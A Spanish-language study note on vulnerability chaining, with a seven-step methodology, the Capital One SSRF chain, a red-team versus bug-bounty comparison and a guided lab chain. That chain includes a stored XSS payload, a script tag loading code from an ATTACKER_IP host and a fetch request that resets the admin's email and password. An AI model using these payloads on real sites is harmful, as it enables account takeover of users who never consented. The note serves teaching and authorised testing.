Ataques y defensa

Encadenamiento de vulnerabilidades

#bug-bounty#csrf#methodology#privilege-escalation#red-team#vulnerability-chaining#xss

El encadenamiento de vulnerabilidades (vulnerability chaining) consiste en combinar dos o más debilidades individuales —cada una de riesgo bajo o medio por separado— para alcanzar un…

Definición

El encadenamiento de vulnerabilidades (vulnerability chaining) consiste en combinar dos o más debilidades individuales —cada una de riesgo bajo o medio por separado— para alcanzar un impacto significativamente mayor que el que ninguna lograría por sí sola. Los sistemas de rating asignan severidad por vulnerabilidad aislada, pero los atacantes piensan en términos de cadenas: una debilidad abre una puerta, la siguiente escala privilegios, la tercera permite exfiltración o ejecución remota.

Principio clave: No toda vulnerabilidad crítica pesa más que tres vulnerabilidades medias encadenadas correctamente.

Relacionado: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), SQL Injection, OWASP Top 10 (2025)


Contexto: por qué importa

Los equipos de desarrollo suelen parchear vulnerabilidades individualmente, siguiendo el orden del bug tracker (criticals → highs → mediums → lows). Esta estrategia puede dejar brechas porque las conexiones entre bugs nunca se abordan.

Ejemplo real — Capital One 2019:

SSRF en la aplicación web
→ Acceso al servicio de metadatos EC2 de AWS (http://169.254.169.254)
→ Recuperación de credenciales IAM temporales
→ Acceso a S3 con esas credenciales
→ Exfiltración de ~100 millones de registros

Ninguno de estos pasos era individualmente una vulnerabilidad crítica, pero la cadena resultó en una de las mayores brechas de datos financieros de la historia.

Otro patrón habitual:

Verbose login (enumera usernames válidos)
→ No hay rate limiting en login
→ Brute force del password débil
→ Login exitoso
→ SQLi en endpoint autenticado (ahora accesible)
→ Dump de base de datos / escalada de privilegios

Metodología: 7 pasos para pensar como atacante

Paso 1 — Usar la app como usuario normal

Registrar cuenta, explorar funcionalidades, entender roles y acciones sensibles (settings, uploads, panel admin). Sin buscar bugs todavía. El objetivo es comprender el flujo.

Paso 2 — Enumerar y listar debilidades

Identificar puntos débiles: SQLi, XSS, IDOR, mensajes de error verbosos, patrones predecibles en IDs de URL, extensiones de ficheros permitidas. Anotar todos, incluso los de baja severidad aparente.

Paso 3 — Evaluar cada debilidad en aislamiento

Para cada finding, preguntarse: “¿Qué puedo hacer con esto asumiendo que nada más está roto?”

  • ¿Este XSS se ejecuta en un contexto útil (perfil visible por admins)?
  • ¿Este error verbose revela usernames reales?
  • ¿Este file upload permite subir scripts?

Paso 4 — Definir el objetivo del atacante

¿Qué querría un atacante conseguir con esta app?

  • ¿Datos sensibles de usuarios?
  • ¿Acceso al panel de administración?
  • ¿Ejecución remota de código?

El contexto importa: un XSS en un blog es molesto; el mismo XSS en el panel de administración bancaria es catastrófico.

Paso 5 — Construir el camino de ataque

Conectar los findings en una secuencia lógica hacia el objetivo. Ejemplo típico:

Verbose login → usernames válidos
→ Política de passwords débil → brute force exitoso
→ Login → XSS almacenado en perfil
→ Admin visita el perfil → XSS dispara → robo de cookie admin
→ Escalada de privilegios

Paso 6 — Ejecutar y validar cada paso

Probar cada eslabón de la cadena en orden real. Verificar:

  • ¿El brute force funciona o hay rate limiting?
  • ¿El XSS se ejecuta en el contexto esperado (¿quién ve el perfil?)?
  • ¿La cookie robada da acceso real al panel admin?

Identificar blockers y dependencias antes de asumir que la cadena completa funciona.

Paso 7 — Reportar la cadena completa

No aislar los bugs en el informe. Contar la historia:

“Un atacante no autenticado puede [primer paso], lo que le permite [segundo paso], y finalmente [impacto final].”

Destacar explícitamente: “Cada issue individual sería de riesgo bajo/medio, pero la combinación resulta en compromiso total.”


Cadena guiada (Guided Chain)

Escenario

App web con panel de admin. Un desarrollador dejó credenciales de prueba en producción. La app no tiene CSRF tokens. El perfil de usuario tiene un campo “display name” sin sanitización.

Paso 1 — Credenciales de prueba (developer test credentials)

URL: http://TARGET/
Usuario: testuser
Password: password123

Acceso obtenido como usuario de bajo privilegio. Las credenciales hardcoded en staging que llegan a producción son un vector frecuente y subestimado.

Paso 2 — Stored XSS en el display name del perfil

En la página de edición de perfil, el campo “display name” refleja input directamente sin sanitizar:

<!-- Payload de prueba básico -->
<script>alert(1)</script>

El alert se ejecuta cuando cualquier usuario (incluido un admin en una vista de moderación) carga el perfil. Esto convierte un Self-XSS aparente en un vector de ataque real si un admin visita perfiles de usuario.

Paso 3 — CSRF via XSS (cambio de credenciales del admin)

La app no implementa CSRF tokens. Cuando el XSS dispara en el navegador del admin, el script puede emitir requests same-origin con las cookies del admin adjuntas automáticamente.

Script del atacante (script.js) — alojado en el attacker box:

fetch('/update_email.php', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});

Inyección en el display name:

<script src="http://ATTACKER_IP:8000/script.js"></script>

Servir el script con Python:

Terminal window
# Solo en laboratorio controlado
python3 -m http.server 8000
# → Cuando el admin carga el perfil, su browser hace GET /script.js
# → Luego ejecuta el fetch con sus propias cookies
# → Las credenciales admin quedan cambiadas a pwnedadmin@evil.local / pwnedadmin

Verificación en Burp: el request a /update_email.php mostrará la cookie de sesión del admin.

Paso 4 — Login como admin

Usuario: admin
Password: pwnedadmin

Acceso completo al panel de administración obtenido. La app confía en que quien tiene esas credenciales tiene el rol correspondiente. La cadena explotó tres asunciones incorrectas:

  1. “Las cuentas de test no quedarán activas en producción.”
  2. “El display name no puede contener código ejecutable.”
  3. “Los requests autenticados desde el navegador son legítimos.”

Rutas alternativas (pivot points)

La cadena raramente sigue una línea recta. Si un paso falla, el atacante busca un pivot:

Si la app SÍ tuviera CSRF tokens:

  • ¿El XSS puede leer el token del DOM y adjuntarlo al fetch malicioso?
  • ¿El XSS puede robar la cookie de sesión (si no hay HttpOnly)? → session hijacking directo.
  • ¿El XSS puede forzar al admin a cargar una URL que filtre datos sensibles?

Otras rutas alternativas habituales:

Blocker Pivot
CSRF tokens presentes Leer token del DOM con XSS y adjuntarlo al fetch
Cookie con HttpOnly Usar XSS para ejecutar acciones en lugar de robar la cookie
SQLi solo en endpoints autenticados Brute force login primero, luego SQLi
File upload sin ejecución directa Combinar con Path Traversal o XXE para ejecutar

Mentalidad correcta: La pregunta no es “¿funcionó como planeé?” sino “¿qué más puedo hacer con el acceso que tengo?”


Red Team vs Bug Bounty

Aspecto Red Team Engagement Bug Bounty
Objetivo principal Demostrar impacto real y gaps en la postura de seguridad Comunicar el riesgo claramente al vendor
Uso del chaining Pivoting, escalada, persistencia Mostrar cómo múltiples bugs se combinan
Estilo de ejecución Sigiloso, evita detección Transparente, reproducible
Objetivo final Alcanzar objetivo definido (data exfil, Domain Admin) Enviar reporte válido e impactante
Nivel de explotación Cadena completa si es posible Explotación parcial suficiente si el riesgo es claro
Calidad del PoC Puede usar herramientas reales o simular operaciones PoC mínimo, seguro y limpio

En bug bounty, demostrar que puedes cambiar el email admin o dumpear datos con SQLi suele ser suficiente para una severidad alta/crítica; no es necesario ir hasta el impacto final.


Diagrama — Cadena guiada completa

flowchart TD
    A[Attacker: testuser / password123] -->|Login exitoso| B[Dashboard usuario básico]
    B -->|Explorar perfil| C{Campo display name vulnerable a XSS?}
    C -->|Sí| D[Inject: script src attacker /script.js]
    D -->|Admin visita perfil| E[XSS dispara en browser del admin]
    E -->|No CSRF token| F[fetch POST /update_email.php credentials include]
    F -->|Cambio exitoso| G[Admin email=pwnedadmin@evil.local password=pwnedadmin]
    G -->|Atacante hace login| H[Admin panel comprometido ✓]

    C -->|No: CSRF tokens presentes| I{XSS puede leer CSRF token del DOM?}
    I -->|Sí| F
    I -->|No| J[Pivot: robar cookie de sesión o forzar acción vía GET]

Pitfalls

  • Asumir que una vulnerabilidad individual determina el riesgo total: los sistemas de rating por ítem no capturan el riesgo encadenado. Siempre evaluar el impacto en el contexto de la cadena.
  • No explorar rutas alternativas: si el primer plan falla, muchos pentesters abandonan en lugar de pivotar. La adaptabilidad es la diferencia entre un reporte mediocre y uno excelente.
  • Self-XSS descartado prematuramente: un XSS que solo ejecuta en el propio browser del atacante parece inútil, pero si un admin visita el perfil, se convierte en XSS almacenado efectivo.
  • Fixes aislados no bastan: parchear solo el SQLi sin corregir la enumeración de usuarios deja la mitad de la cadena abierta. El reporte debe hacer explícito que todos los eslabones deben corregirse.
  • Escalada excesiva en bug bounty: en programas de bug bounty, explotar hasta el impacto final (e.g., dump completo de DB) puede cruzar límites del scope. Detenerse cuando el riesgo queda demostrado.

Referencias

Título original en mis apuntes: Vulnerability Chaining